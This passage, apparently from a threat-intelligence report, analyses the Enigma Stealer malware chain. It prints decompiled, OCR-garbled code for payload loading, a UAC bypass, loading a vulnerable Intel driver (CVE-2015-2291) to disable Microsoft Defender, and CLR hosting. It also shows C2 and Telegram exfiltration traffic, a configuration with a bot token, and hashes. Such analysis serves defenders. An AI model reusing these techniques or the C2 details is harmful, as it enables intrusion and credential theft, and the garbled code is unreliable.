mw_SendMessage C2((__int64)L"File save failed");
1
Figure 20. Code responsible for downloading, deobfuscating, decompressing, and renaming the

downloaded payload
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v15 = compressed file size;

DecompressorHandle_1 = @i64;

AllocationRoutines[2] = @ied;

AllocationReoutines[@] (__inte4)mw_RtlAllocateHeap wrapper;
*decompressed_buffer_size = @;

AllocationRoutines[1] = (_ int64)mw_RtlFreeHeap wrapper;
*decompress_buffer = @i64;

v7 = 83
pCreateDecompressor = (_ inte4 (_ fastcall *)}{_QWORD, _ int64 *, _ int64 *))mv_resolveAPI(
Su,
cabinet_CreateDecompresseor);
v = pCreateDecompressor (COMPRESS_RAW COMPRESS_ALGORITHM_LZMS, AllccationRoutines, &DecompressorHandle_1);
if e )
{
buffer_size = *compressed_file;
vil = 4;

HeapHandle = ::HeapHandle;

v28 = *compressed_file;

pRtlAllocateHeap = (_ inte4 (_ fastcall *)(_ inte4, _QWORD, _QWORD))mw_resolveAPI({@xCu, ntdll RtlAllocateHeap);
vl4 = pRtlAllocateHeap(HeapHandle, @i64, buffer size);

*decompress_buffer = vid4;

if [ !via )
LABEL_3:
ve = 83

goto LABEL_11;
if ( (unsigned int)vlSs > 4 )

while ( (unsigned _ int64)v1l + B8 <= w15 )

1
vl6e = *{unsigned int *)({char *)compressed_file + v11};
v = 1+ 4;
V38 = v16;
v18 = *(unsigned int *)({char *)compressed_file + v17);
w19 = vi7 + 4;
v29 = v18;
V28 = v16 + w19;
if ( vle + v19 > (unsigned int)vls )
break;
w21 = v7 + v18;
if ( w7 + v18 » w28 )
break;

v22 = DecompressorHandle_1;

v23 = *decompress_buffer 4+ v7;

pDecompress = (_ int64 (  fastcall *)(_ int64, char *, QWORD, _ inte4, QWORD, _QWORD))mw_resolveAPI(
9u,
cabinet_Decompress);

v3 = pDecompress{v22, (char *)compressed_file + v19, v3@, v23, v29, @i6d);
if ( Ive )

goto LABEL_11;
vil = v28;

v7 = v21;
if ( v2@ >= (unsigned int)vls )
goto LABEL_18@;

goto LABEL_3;
Figure 21. Payload deobfuscation and decompression
Before executing the payload, the malware attempts to elevate its privileges by executing the
mw_UAC_bypass function, which is part of an open-source project. This technique, Calling Local
Windows RPC Servers from .NET (which was unveiled in 2019 by Project Zero), allows a user to
bypass user account control (UAC) using only two remote procedure call (RPC) requests instead of
DLL hijacking.
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GET /errlogee2/gate. php"’h\ud-' R T

‘ N &filename=main.cpp&nStr=18&desc=UAC%2@success HTTP/1.1
User-Agent: AE632AE3-FACB-4(1B-8906-FB65A13B80184

Host: 193.56.146.29

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.18.@

Date: Mon, 23 Jan 2023 22:31:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

C
add success

e

Figure 22. Successful UAC bypass execution debug message

The malware requires elevated privileges for the subsequent stage payload, which involves loading
the malicious driver by exploiting CVE-2015-2291.

Finally, the malware executes an export function called "Entry" from UpdateTask.dll via rundll32.exe
as shown in Figure 23.

ved = (void (*)({const wchar_t *, ...))mw_resolveAPI(@xAu, kernel32 ExpandEnvironmentStringswW);

ved (L %wlnd1r%\\system32\\rund1132 exe ¥programdata¥\\updateTask.dll, Er1tr‘_~,.r » w86, 130i64);

pCreateProcessW = (unsigned int (_ fastcall *)}({_QWORD, char *, _QWORD, _QWORD, _DWORD, int, _QWORD, _QWORD, _ int128 *,
if ( 'pCreat eP ocessW(@isd, vi5, 0i64, @is4, @, OxBOAOAOG, 0164, Vicd, &var_c2_request_data, &Telegram_Token) )

1

mw_SendMessage C2((_ int64)}L"CreateProcess failed");
return @i64;

b

ve6 = *({ QWORD *)&Telegram_Token + 1);

pCloseHandle 1 = (vodd (_ fastcall *)(__ int64))mw_resolveAPI({@xAu, kernel32 CloseHandle);
pCloseHandle_1(wv66};

Figure 23. Running the stage 2 payload through rundli32.exe
Stage 2: EnigmaDownloader_s002

S/ TO'1/CCA4aauYLE /1 A0LL1A0ABE 1448

MD5

SHA-1

SHA-256

49/7.0U KB (oUY44U Dyles)
File size

The second stage payload, UpdatTask.dll, is a dynamic-link library (DLL) written in C++ that
comprises two export functions (DIIEntryPoint and Entry). The malicious code is executed in the
Entry export function, which is triggered by the first stage routine. The primary objective of this
malware is to disable Microsoft Defender by deploying a malicious kernel mode driver (“bring your
own vulnerable driver” or BYOVD method) via exploiting a vulnerable Intel driver (CVE-2015-2291)
and then downloading and executing the third-stage payload.
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Please note that the first, second, and third-stage payloads all obtain the infected system's
MachineGuid at the start and use it to identify the machine in debug message network traffic,
enabling the adversary to track the infected system's malware execution state.

Upon execution, the malware creates the mutex to mark its presence on the system and retrieves
the MachineGuid of the infected system from the
"SOFTWARE\Microsoft\Cryptography\MachineGuid" registry key.

__int64 Entry()

{
/f [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v = @;
if ( !'{unsigned int)mw_MachineGuid() )
return @i64;
v2 = lpMutexName;
v3 = @3
IpMutexiame[@] = xmmword 7FFEF8BA4AGES; // Decrypted string: L"Global\\1553819C-A4F5-4236-9C6C-65FBAE9GEBBA™
IpMutexiame[1] = xmmword 7FFEF2B4AG3G;
IpMutexiame[2] = xmmword 7FFEF3B4AGAS;
IpMutexiame[3] = xmmword_ 7FFEF3BA4AGES;
lpMutexiame[4] = xmmword 7FFEFSB4AGCE;
v35 = Bx61e854801D801Ci64;
do
1

v3 + 54 * (FALSE - v3 / ®x36u);

L,

(=i ||

¥ ¥
*( WORD *jv2 "= vd;
v2 = [ int1l28 *}{{char *}v2 + 2);
while ( v3 ¢ 44 };
pCreateMutexW = { inte4 (  fastcall *)( QWORD, OQWORD, _ int128 *))mw_resolveAPI(@xAu, CreateMutexW);
mutex = pCreateMutexW(NULL, FALSE, lpMutexName);// L"Global\\1553819C-A4F5-4236-9C6(-65FOAEI6EBBA"
if ( mutex )

pWaitForsingleObject = (unsigned int (_ fastcall *)({_ int64, _QWORD))mw_resolveAPI(@xAu, WaitForSingleObject);
if { pWaitForSingleObject(mutex, @i64} == 258 )

pCloseHandle_1 = (woid (_ fastcall *)(_ inte4))mw_resolveAPI(@xAu, CloseHandle);

pCloseHandle 1{mutex);

return FALSE;
Figure 24. Constructing a unique system identifier and creating a mutex
Next, the malware will determine if it is running as an account with administrator privileges or simply
as a regular user using the GetTokenInformation API. If the malware fails to obtain elevated
privileges, it will bypass the disablement of Windows Defender and proceed to download and

execute the next stage of its attack.
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is_elevated = @;
// The malware will next determine if it is running as an administrator privileged account or a regular user.
pGetCurrentProcess (__inte4 (*)(void))mw_resolveAPI(@xAu, GetCurrentProcess);
handle current_process = pGetCurrentProcess(};
pOpenProcessToken = (unsigned int (_ fastcall *)(__int64, _ int64, _ int64 *))mw_resolveAPI(7u, OpenProcessToken);
if ( pOpenProcessToken(handle_current_process, 8i64, &htoken) }
{
phtoken = htoken;
pGetTokenInformation = (_ int64 (_ fastcall *)(_ int64, _QWORD, int *))mw_resolveAPI(7u, advapi32_GetTokenInformation);
// The GetTokenInformation function retrieves a specified type of
// information about an access token.
// The calling process must have appropriate access rights to obtain the information.
t_value pG kenInformation(phtoken, TokenElevation, &tcken_elevation_info);// If Elevated return 1

*#)(__int64))mw_resclveAPI(@xAu, CloseHandle);

eHandle(handle
not_elevated = i

@;
// is executed when the code is running as a regular user account,
// and not as an administrater privileged account.

= (void (_ fastcall *)(__int64 (_ fastcall *){unsigned int **, unsigned int *)))mw_resolveAPI(@xAu, SetUnhandledExceptionFilter);
ExceptionFilter{mw_kdmapper_ SimplestCrashHandler);

igquwbde_device handle tel_driver::Load();

if ( iquwede_device_handle == (HANDLE)INVALID HANDLE_VALUE )

mw_Send_Error_Log({_ int&4)L"intel driver::Load() failed™)};

else
{
token_elevation_info = @;
if ( (unsigned int)kdmapper::MapDriver(v21, v28, w22, v23, (int)&37, v38, w31, v32, v33, &token_elevation_info) )

if ( !intel driver::Unload((_ inté4)iqvwede device_handle, v24, v25) )
mw_Send_Error_Log((_ int64)L"Warning: failed to fully unload vulnerable driver™)};
¥
else
i
mv_Send_Error_Log((__int64)L"Failed to map”);
intel_driver::Unload((__ int64)iquwéde_device_handle, v26, v27);

}

}

Sleep(6BBBOU) ;
}
is_not_elevated = is_elevated == @;

Download_decompress_execute:

LOBYTE(v@) = !is_not_elevated;
my_persistence_TaskScheduler(va);
my_download_execute_file();
pReleaseMutex = (void (_ fastcall *)(_ int64))mw_resolveAPI(@xAu, ReleaseMutex);
pReleaseMutex(mutex);
goto exit;

}
Figure 25. Checking the process privileges
If the process successfully obtains elevated privileges, it proceeds to drop the files shown in Figure
26.

Offset Excerpt (hex) Excerpt (text)
0 4D 5A 90 00 03 00 00 00 0 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 Moo frgornn @
4CBE0 7C 610580 01 00 00 0D 00 00 00 00 00 00 00 00 4D SA 90 00 03 00 00 00 (4 00 00 00 FF FF 00 00 iQVW64.5YS
SF470 6@ 8B 05 80 01 00 00 00 05 00 00 00 00 00 00 00 41 5A 90 0O 03 00 00 00 04 00 00 00 FF FF 00 00 .. malicious drivers

Figure 26. Stage 2 embedded binary files

Name iQVW64.SYS (CVE-2015-2291)

Description Vulnerable Intel driver, used for kernel exploitation

MD5 1898ceda3247213c084f43637ef163b3

SHA-1 d04e5db5b6c848a29732bfd52029001f23c3da75

SHA-256 4429f32db1cc70567919d7d47b844a91cf1329a6¢d116f582305f3b7b60cd60b

Name Driver.SYS

Description Malicious drivers reduce the token integrity of Microsoft defender (MsMpEng.exe)

MD5 28ca7a21de60671f3b528a9e08ad4e1c
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SHA-1 21F1CFD310633863BABAAFE7ESE892AE311B42F6

SHA-256 D5B4C2C95D9610623E681301869B1643E4E2BFOADCA42EACS5D4D773B024FA442

The malware uses an open-source project called KDMapper to manually map non-signed/self-signed
drivers in memory by exploiting the iqvw64e.sys Intel driver. Testing on this has reportedly been
conducted on Windows 10 version 1607 to Windows 11 version 22449.1. The functions
intel_driver::Load() and kdmapper::MapDriver() are both responsible for achieving this task.

The following snippet demonstrates the debug message related to drive loading and installation:

GET

Jerrlogl02/gate.phpihwid= &filename=main.cppenStr=lsdesc=Foun
d$20In%20g KernelHashBucketlList:%20........ HITP/1.1

User-Rgent: REG32RAE3-FACB-4C1B-290&6-FBSSRA13BO1B4

Host: 193.56.146.29

Cache-Control: no-cache

GET

ferrlogl02/gate.php?hwid= &filename=main.cppsnStr=ledesc=g _Ke
rnelHashBucketList%20Cleaned HITPE/1.1

User-Agent: AE&32RES-FACB-4C1B-5906-FBESA13BO1B4

Host: 193.56.146.2%

Cache-Control: no-cache

GET

Serrlogl02/gate.php? sfilename=main.cppenStr=1lsdesc=5kip
ped3200x4096%20bytest200£320PES20Header HTITE/1.1

User-hgent: REG32RAE3-FACB-4AC1B-290&6-FB6SA13BO1B4

Host: 193.56.146.29

Cache-Control: no-cache

GET

ferrlogll2/gate.php?hwid= &filename=main.cppenStr=lsdesc=Call
back$20example$20called HTTES1.1

User-Agent: AE&32RES-FACB-4C1B-5906-FBESA13BO1B4

Host: 193.56.146.2%

Cache-Control: no-cache

GET

ferrlogi02/gate.php?hwid=a - -n kfilename=main.cppendtr=ledesc=Unlo
adDriver%205tatus HITP/1.1

User-Agent: AE&32RES-FRCB-4C1B-5906-FBESA13BO1B4

Host: 193.56.146.2%

Cache-Control: no-cache

GET

ferrlog002/gate. php?hwid=ﬁ ‘ - I&filename=ma in.cppenStr=ladesc=Vul%
20drivert2idata%2ldestroyed32ibefore(2iunlink HITP/1.1

User-RAgent: AES32RE3-FRCB-4C1B-5906-FBGSR13BO1B4

Host: 193.56.146.29

Cache-Control: no-cache

Figure 27. Debug message for loading the driver and providing execution status
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The malware then establishes persistence on the targeted system by creating scheduled tasks.

(D Task Scheduler
File Action View Help
Ll AN ol 7|

() Task Scheduler (Local)

"7 Task Scheduler Libr Naine
vig cheduler Library i
~ [ Microsoft © Createbxplor...
» 7] OneCore (@ GoogleUpda...

s> [ Windows (® GoogleUpda...
7 XblGamesave crosoftEd..
[ Mozilla crosoftEd...
capwatch...

Status
Ready
Ready
Ready
Ready
Ready
Ready

5 Optimize Pu, ed 2
I Update Ready

Triggers Next Run Time: Last Run Time Last Run Result  Author
When the task is created or modified 2022-07-253:04:49 AM  (0x40010004)

Multiple triggers defined 2023-01-27 7:01:51 AM  2023-01-27 1216:14 AM  (0x0)

At T:01 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 2023-01-27 6:01:51 AM  2023-01-27 5:23:23AM  (0x0)

Multiple triggers defined 2023-01-27 8:27:21 AM  2023-01-27 1216:14 AM  (0x0)

At T:57 AM every day - After triggered, repeat every 1 hour for a duration of 1day. 2023-01-27 5:57:21 AM  2023-01-27 5:23:23 AM  (0x0)

At system startup 2022-12-2811:568:25 PM (0x0)

uteris idle 1-10-25 2:3 1.
At 12:00 AM on 2023-01-01 - After triggered, repeat every 00:01:00 indefinitely. 2023-01-27 5:28:00 AM  2023-01-27 5:27:00 AM  (0x0)

ExplorerShellUnelevated

DESKTOP-CPUVBMN\UserNameW10  2020-04-23 6:08:52 AM

It grporation
Author Name

General Triggers Actions Conditions Settings  History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

Action

Details.

Start a program

s

dliz2.

CAWINDOWS\syst:

C:\Progi

Data\.

dll, Entry I

Figure 28. Malware persistence is achieved via scheduled tasks (click the image for a larger version)
Finally, the EnigmaDownloader_s002 downloads and executes the next-stage payload on the
infected system. To achieve this task, it employs similar techniques as those used in the first stage
— the only difference, in this case, is that the malware is executing a .NET Assembly from C++ in

memory using the CLR (Common Language Runtime) hosting technique.

57 = (i

if ( v57(v56

{
mw_Send_Error_Log((
return 0i64;

if (

mw_Send_Error_Log((__int64)L"[!] SafeArrayUnaccessData(...) failed");

return 0i64;

}
if ( (*(int

mw_Send_Error_Log((_ i

return @0i64;

}
76 = @i64;
if ( (*(int (_ fastcall

)

tcall *)(__inte4,
Dst) < ©

**)(__int64,

nt

**)(__in

t64
t64,

oid **))mw_resolveAPI(@xEu, oleaut32_ SafeArrayAccessData);

intb4,

inte4 *

int64)L"[!] SafeArrayAccessData(...) failed");

__int64 *))(*(_QWORD

")) (* (_QuoRD *)

*Ju74 + 360i64))(v74,

4)L"[!] pDefaultAppDomain->Load_3(...) failed");

'S + 128i64)) (v75,

mw_Send_Error_Log((__int64)L"[!] pAssembly->get_EntryPoint(...) failed");

return 0i64;
}
= 9i64;
2i64;

J 4
I

wononon

*

(__int64 (_ fastcall
59(12i64, 0i64, 0i64);

1 763
77 xmmword_7FFEF8B48560;

0i64;

(*(int (_ fastcall

if (

mw_Send_Error_Log((__int64)L"[!] pMethodInfo->Invoke_3(...) failed");

return 0i64;

}
if ( (*(int (__fastcall **)(__int64))(*(_QWORD *)

=

]

QWORD) )mw_resolveAPI(@xEu, oleaut32_SafeArrayCreateVector);

2 + 88i64))(v98) < @ )

Figure 29. The stage 3 .NET binary is executed via CLR hosting
Stage 2.1: Enigma Driver analysis

ile);
64))mw_resolveAPI(@xEu, oleaut32_SafeArrayUnaccessData);

2v76) < @ )

56, &75) < @ )
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MD5 Driver.SYS

SHA-1 28CA7A21DE6G0671F3B528A9E08A44E1C

SHA-256 21F1CFD310633863BABAAFE7ESE892AE311B42F6

File size D5B4C2C95D9610623E681301869B1643E4E2BFOADCA42EAC5D4D773B024FA442

The driver's sole purpose is to patch the integrity level of the Microsoft defender (MsMpEng.exe) and
forcibly reduce it from system to untrusted integrity. The reduction of the integrity level to untrusted
impedes the process of accessing secure resources on the system for the victim, silently disabling it

without terminating the process.

eax,eax B (3= MeNpEng xe. | 221376 K 17120 K 2648 Artimahware Service Execut... Mic
- O 8 MsMpEng.exe:2648 Properties = [m] X
Image Performance Performance Graph Disk and Network GPU Graph Image Performance Performance Graph Disk and Network GPU Graph
Services Threads TCP/IP Security Environment Strings Services Threads TCR(IP Security Environment Strings

User:  NT AUTHORITY\SYSTEM User:  NT AUTHORITY\SYSTEM

SID: 5-1-5-18 SID: 5-1-5-18
Session: 0 Logon Session: 387 Session: 0 Logon Session:  3e7
Virtualized: No  Protected: PsProtectedSigner Antimalware-Ligh Virtualized: Mo Protected: PsProtectedSigner Antimalware-Ligh

= =

Group Flags Group Flags

BUILTIN'Administrators Owner BUILTIN Administrators Qwner

BUILTIN\Users Mandatory BUILTIN'Users Mandatary

CONSOLE LOGON Mandatory CONSOLE LOGON Mandatory

Everyone Mandatary Everyone Mandatory

LOCAL Mandatory i LOCAL Mandatory _

Mandatory Label\System Mandatory Level  Integrty Before patching Mandatory Label\Unirusted Mandatory Level After patching

NT AUTHORITY Authenticated Users Mandatory NT AUTHORITY \Autherticated Users Mandatory

NT AUTHORITY\LogonSessionld_0_109682 Owner NT AUTHORITY\LogonSessionld_0_109682 Owner

NT AUTHORITY\SERVICE Mandatory NT AUTHORITY\SERVICE Mandatory

NT AUTHORITY"This Organization Mandatory NT AUTHORIT\This Organization Mandatary

NT SERVICE\WinDefend Owner NT SERVICE"WinDefend Owner

Figure 30. Microsoft defender token integrity modification before and after executing Enigma Driver
The code snippets in Figure 31 demonstrate how the malware performs these operations.
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while ( 1)
{
ErrorCode = NtQuerySystemInformation(
SystemProcessInformation,
: il w0 55
)STATUS_BUFFER_TOO_SMALL && ErrorCode != (u int)STATUS_INFO_LENGTH_MISMATCH )
i"‘);{ e g 3 5. 1 m Info! TokenHandle)
R (e Length) 5 my_SetInformationToken proc near
Sid= qword ptr -28h
. var_2@= dword ptr -26h
goto PsTerminatesystenThread; TokenInformation= gword ptr -18h
var_18= qword ptr -16h
}
?f ( ErrorCode < 8 ) push rbx
RtINtStatusToDosError(ErrarCode); sub rsp, 48h
xor eax, eax
else lea rdx, IdentifierAuthority ; IdentifierAuthority
T mov rbx, rcx
i e mov [rsp+48hivar_18], rax
{ lea rex, [rsp+4sh+sid] ; sid
mov [rsp+48h+5id], rax
mov rgb, 1 ; SubAuthorityCount
mov [rsp+48h+var_28], eax
call cs:RtlInitializesid
xor edx, edx ; SubAuthority
- IumgeHame;, 8).) lea rcx, [rsp+ashisid] ; sid
call cs:RtlSubAuthoritysid
mov rod, 1@eh ; TokenInformationLength
lea r8, [rsp+ash+TokenInformation] ; TokenInformation
mov rex, rbx ; TokenHandle
and dword ptr [rax], @
lea rax, [rsp+48h+5id]
g s lea edx, [r9+9] ; TokenInformationClass
Length)s mov [rsp+4Bh+TokenInformation], rax
mov dword ptr [rsp+4shtvar_18], 26h ; ' ' ; SE_GROUP_INTEGRITY
call cs:IwSetInformationToken
add rsp, 48h
pop rbx
sToDosError(s retn
PsReferenceP mw_SetInformationToken endp
ObopenobjectByPointer(|
f ( rtstatus < @)
RtINtStatusToDosError( t H
STATUS = mw_SetInformationToken(TokenHandle); // Patching Intergritylevel M;
if ( STATUS < @ )
RtINtStatusToDosError(s 3
if ( ITokenHandle )
=(0i64); .
Figure 31. Integrity level patching
T T N ey
File: Vulnerable intel driver a=zolXvTHZE
Size: 34568
MDS: 1398CEDAIZ247213C084F43637EF163B3
Compiled: Thu, How 14 2013, 15:22:43 - 64 Bit Hative
FDE: o azerstcloudbuild~337244~=sdlkwnal~srcwinnt_wdndriver~objfre wnet AMDE4~amded~igvwede.pdb

Fersiun: 1.03.0.7 built by: WinDDK

Signature Valid

Subject: Intel Corporaticn

Iz=uer: VeriSign Cla=s 3 Code Signing 2010 CA

Figure 32. Details of the vulnerable Intel driver binary
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n | Certificate >

General Detailz Certification Path

= ﬁ Certificate Information

This certificate is intended for the following purpose(s):

* Ensures software came from software publisher
* Protects software from alteration after publication

*Refer to the certification authority's statement for details.

Issued to: Intel Corporation

Issued by: VeriSian Class 3 Code Signing 2010 CA

valid from 5/15/2012 to 5/30/2015

Install Certificate... | | Issuer Statement

. te: 2022-12-12 08:11:50

Certificate:
Issuer: WDKTestCert User,133149696802542332 (222 / 222 / 222?)
Subject: WDKTestCert User,133149696802542332 (222 / 222 / 222)
Validity: from 2022-12-88 to 2032-12-@8

SerialNumber: 200821724de369a7468eb99730672e4f

Algorithm: SHA256

CryptAlgorithm: RSA

Lompile aa

ate: 2022-12-12 ©8:11:50
Path: C:\projects\driver\Driver\x64\Release\driver.pdb

Figure 33. Details of the certificate of the vulnerable driver (top) and Enigma Driver (bottom)
Stage 3: EnigmaDownloader_s003

The following table shows the details of Enigma.Bot.Net.exe.

MD5 50949ad2b39796411a4c7a88df0696¢c8

SHA-1 67a502395fc4193721c2cfc39e31be11e124e02¢c

SHA-256 8dc192914e55cf9f90841098ab0349dbe31825996de99237f35a1aab6d7905bb

File size 10.50 KB (10752 bytes)

EnigmaDownloader_s003 is a third-stage downloader written in C#. It is responsible for
downloading, decompressing, and executing the final stealer payload on an infected system. The
malware also accepts commands from a Telegram channel, though these commands may vary
between variants.
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stop
alive

runassembly

Upon launch, the malware sends a "Bot started" message to both the Debug server and the
Telegram channel, indicating its successful execution.

GET /errlog/gate.php?
hwid= &filename=loader&nStr=18&desc=[sharp]Bot%?20started HTTP/1.1
Host: 193.56.146.29

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Mon, 16 Jan 2023 08:14:13 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

) €
}

} add success
s
thread. (OH 0

message)

( t webClient

webClient
f + message);

)

message)

webClient

'H

Figure 34. Stage 3 payload initialization
It then sends a GET request to https://api[.]Jtelegram[.]Jorg/bot{token}/getUpdates to retrieve the
command. Upon receiving the runassembly command, the malware downloads the next part of the
final stage payload (file_19.pack), decompresses it using the GZipStream API, and executes it.

28/36


https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs/Enigma-Stealer%2034.jpg

tex = webClient.D
upda
(updates.ok)

o textd = "7;
] result = updates.
g; i result.
text4 = result[i].me
(textq !=

text2 - textd;
(text2.

ing[] command
(command .

g texts
(! (texts

1 memoryStream

Stream memoryStrea

zipStream = ne re ionMode.

ad {memoryStream2. T
=)

t[]1 { command[5] });

text?,
command[5],
obj

Figure 35. Stage 3 payload commands
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[Request]
https://api.telegram.org/bot!
Etext=[5ccl9354-a324f-40f5-ad7a-€66cBaTc783b0] Bot started

/sendmessage?chat_id=! P

[C2 response]

HTTP/1.1l 200 CK

Server: nginx/1.18.0

Date: L Iﬂ- h

Content-Type: application/json

Content-Length: 197

Connection: keep-alive

Strict-Transport—-Security: max—-age=31536000; includeSubDomains; preload
Access—Control-Allow—-Origin: *

Access—Control-Allow-Methods: GET, POST, OFPTIONS

Rcocess—Control-Expose-Headers: CDntent—Length,CDntent—Type,Date,Server,CDnnection

{"ok":true,

"result":z{" file_id" Hik BQ}'—'&Ci—"agmkBPﬁAMPYdeZAtXUiAGXZBOTb GNDvz_ZLcRRs cNARJg2D]1SBgRORDUZ 6hYtBA",
"file unique_id":"AgADxwOARMDYOVI",

"file size":2821408,

"file path":"documents/file_19.pack"}}

[Request]
https://api.telegram.org/bot D E B /getUpdates

[C2 response]

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: | == ==y

Content—Type: application/json

Content-Length: 403

Connection: keep-alive

Strict-Transport—-Security: max-age=31536000; includeSubDomains; preload
Access—Control-Allow—-Origin: *

Access—Control-Allow—Methods: GET, POST, OPTIONS

Rhccess—-Control-Expose-Headers: CDntent-Length,CDntent—Type,Date,Server,CDnnectiDn

"ok":true, "result": [ "message_id":47606, "from": {"id":5894962737,"is_bot":true,"first name":"EnigmaTest
Message 001", "username":"EnigmaTestMessage 001 _bot"}, "chat":{"id":5661436914,"first name":"Teona", "las
t_name":"Tecr", "username":"teconochka", "type":"private"}, "date":1674513144, "text": " [5ccl9354-a24f-40£5-

ad7a-€6cBa7c783b0] runassembly EntryPoint success"}}

[Request]
https://api.telegram.org/file/botpn
2fil e_i d=BQACAgQRAAXkBAAMPYBbdzAtXUiAGKzBOThbGNDV Z_ZLcAAscNARJgZD1SBgRQRDUZEhYLEBA

/documents/file 15.pack

Figure 36. An example of network communication between EnigmaDownloader_s003 and the

attacker’s Telegram channel.
Stage 4: Enigma Stealer

MD5 4DC2D57D9DB430235B21D7FB735ADF36

SHA-1 98BF3080A85743AB933511D402E94D1BCEEOCS545

SHA- 4D2FB518C9E23C5C70E70095BA3B63580CAFC4B03F7E6DCE2931C54895F13B2C
256

File 2954.75 KB (2954752 bytes)
size

The final stage is the Enigma Stealer which, as we previously mentioned, is a modified version of an
open-source information stealer project called Stealerium.
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Upon execution, the malware initializes configuration and sets up its working directory.

- Ue
= SecurityProtocolType.

= 99

.SpecialFolder.

Figure 37. Enigma Stealer initialization
The malware configuration is as follows:

| public static string Version = "0.05.01";
public static string DebugMode = "0";
public static string Mutex = "6C0560CE-2E75-4BB4-A26E-F08592A1D56D";
public static string AntiAnalysis = "0";
public static string Autorun ="1";
public static string StartDelay = "0";
public static string WebcamScreenshot = "1";
public static string KeyloggerModule ="0";
public static string ClipperModule = "0";
public static string GrabberModule = "0";
public static string TelegramToken = "5894962737:AAHAFZnz2AkLAyHC0G-7S2je9JMWWLJHGsU"
public static string TelegramChatID = "5661436914";

It then starts to collect system information and steals user information, tokens, and passwords from
various web browsers and applications such as Google Chrome, Microsoft Edge, Microsoft Outlook,
Telegram, Signal, OpenVPN and others. It captures screenshots and extracts clipboard content and
VPN configurations.
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o
text , ramAmount) ; S
text)); - )s
[] array ¢ 2 , texts);
: battery);
m , text9);
, name);
, text6);

memoryStream t
, text11)

) r O (memoryStream,
array = memoryStream.T (0F

(array). (0 H texti3

text12,

publicIp,

locallp,
defaultGateway,

text,

text3,

( (08
}

Figure 38. Enigma Stealer exfiltrating sensitive data
The collected information is then compressed and exfiltrated to the attacker via Telegram.

Listing archive: Data.zip

--ENIGMA STEALER--

: : Path Data.zi
--System information ; R

Type = zip
BuildID:TomasRey Physical Size = 363586
HWID: Wl L] Comment
|768|0]1
[1P]
External IP: OK
Internal IP: Time  Attr Compressed Name
W P: =
Gate ay 1 31 H cee Browsers
Country: n/a 31 11: e Browsers\Edge
Zip code: n/a 31 11: Browsers\Edge\AutoFill. txt
5 : 31 : 6 uu63 1 Browsers\Edge\Cookies.txt
Location: n/a 31 s 3u564 Browsers\Edge\Downloads. txt
TimeZone: n/a 2023-01-31 6 1366 Browsers\Edge\History. txt
2023-01-31 2 5 0 Browsers\Firefox
= 2023-01-31 116: 120 Browsers\Firefox\Bookmarks.txt
[Machine] 2023-01-31 11:16:45 .... 8760 3990 Browsers\Firefox\Cookies.txt
Username: ‘ 2023-01-31 11: S000 5598 1751 Browsers\Firefox\History.txt
X 2023-01-31 11:16: . ] o Browsers\Google
Compname: 2023-01-31 11: 5 38411 9572 Browsers\Google\Cookies. txt
System: 2023-61-31 11: c 7461 1699 Browsers\Google\Downloads.txt
: : 2023-61-31 11: o 203 5386 Browsers\Google\History.txt
UAC: Elevate without prompting e : X D‘i:"i’cizr\ipfm—’ QLTS
Process Elevation: False 2023-01-31 11: 268010 42282 Directories\Desktop.txt
CPU: Unknown 2023-01-31 116: 5 218245 21629 Directories\Documents.txt
2023-01-31 H 49618 10629 Directories\Downloads.txt
GPU: Unknown 2023-01-31 : 143 103 Directories\Pictures.txt
RAM: 4094MB 2023-01-31 o0 24 24 Directories\Startup.txt
2023-01-31 L) 0006 1716 508 Directories\Temp.txt
DATE: 2023-01-31 11:16:44 AM b Ss\Temptx

2023-01-31 : alalals 34 32 Directories\videos.txt

2023-61-31 11: c ] @ System

2023-01-31 11: 5 0 © System\Clipboard.txt

2023-01-31 :16: . 324992 251945 System\Desktop.jpg

2023-61-31 11: o 8u7 551 System\Info.txt

2023-61-31 11:16:46 .... 6777 1363 System\Process.txt

2023-61-31 11: 600 29 System\ProductKey.txt

2023-61-31 11:16:46 .. 1025 System\Windows . txt

2023-01-31 11: wallets

2023-01-31 L ) Wallets\Edge_Wallet

2023-01-31 Wallets\Edge_wallet\Edge_Exodus
2021-69-11 :88 . ) Wallets\Edge_Wallet\Edge_Exodus\606003.1log
2021-69-11 wWallets\Edge_wallet\Edge_Exodus\CURRENT
2021-69-11 :38: aalate 0 Wallets\Edge_wallet\Edge_Exodus\LOCK
2021-69-11 07:39:04 . 18 Wallets\Edge_Wallet\Edge_Exodus\LOG
2021-69-11 07: 5 wallets\Edge_wallet\Edge_Exodus\MANIFEST-006001

Figure 39. An example of data exfiltrated from the victim’s system
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Fiure 40. Data upload logic
Figure 41 illustrates a sample of the network traffic generated by the malware.

POST /bot i B I B ‘sendDocument?chat_id= i B HTTP/1.1
Content-Type: multipart/form-data; boundary="Upload----¢ L 23

Host: api.telegram.org

Content-Length:

Expect: 188-continue

Connection: Keep-Alive

--Upload----
Content-Disposition: form-data; name=document; filename=payload; filename*=utf-3''payload

........................ System.Collections.Generic.Dictionary” 2[ [System.5tring, mscorlib, Version=4.8.8.8,

Culture=neutral, PublicKeyToken= 1], [System.0Object, mscorlib, Version=4.8.8.8, Culture=neutral,
PublicKeyToken= 1 e Version.Comparer.Hashsize

KeyValuePairs....... System.Collections.Generic.GenericEqualityComparer™ 1[ [System.5tring, mscorlib,
Version=4.8.8.8, Culture=neutral,

PublicKeyToken= 1]...System.Collections.Generic.KeyValuePair™ 2[ [System.S5tring, mscorlib,
Version=4.8.8.86, Culture=neutral, PuhlicKeyToken=l ]:[System.0Object, mscorlib, Version=4.8.0.0,
Culture=neutral, PublicKeyToken= L J101L- A, R

........... System.Collections.Generic. EenerlcEqualltndmparer 1[ [System.5tring, mscorlib, Version=4.8.8.8,
Culture=neutral,

PublicKeyToken= e e D e System.Collections.Generic.KeyValuePair™ 2[ [System.5tring,
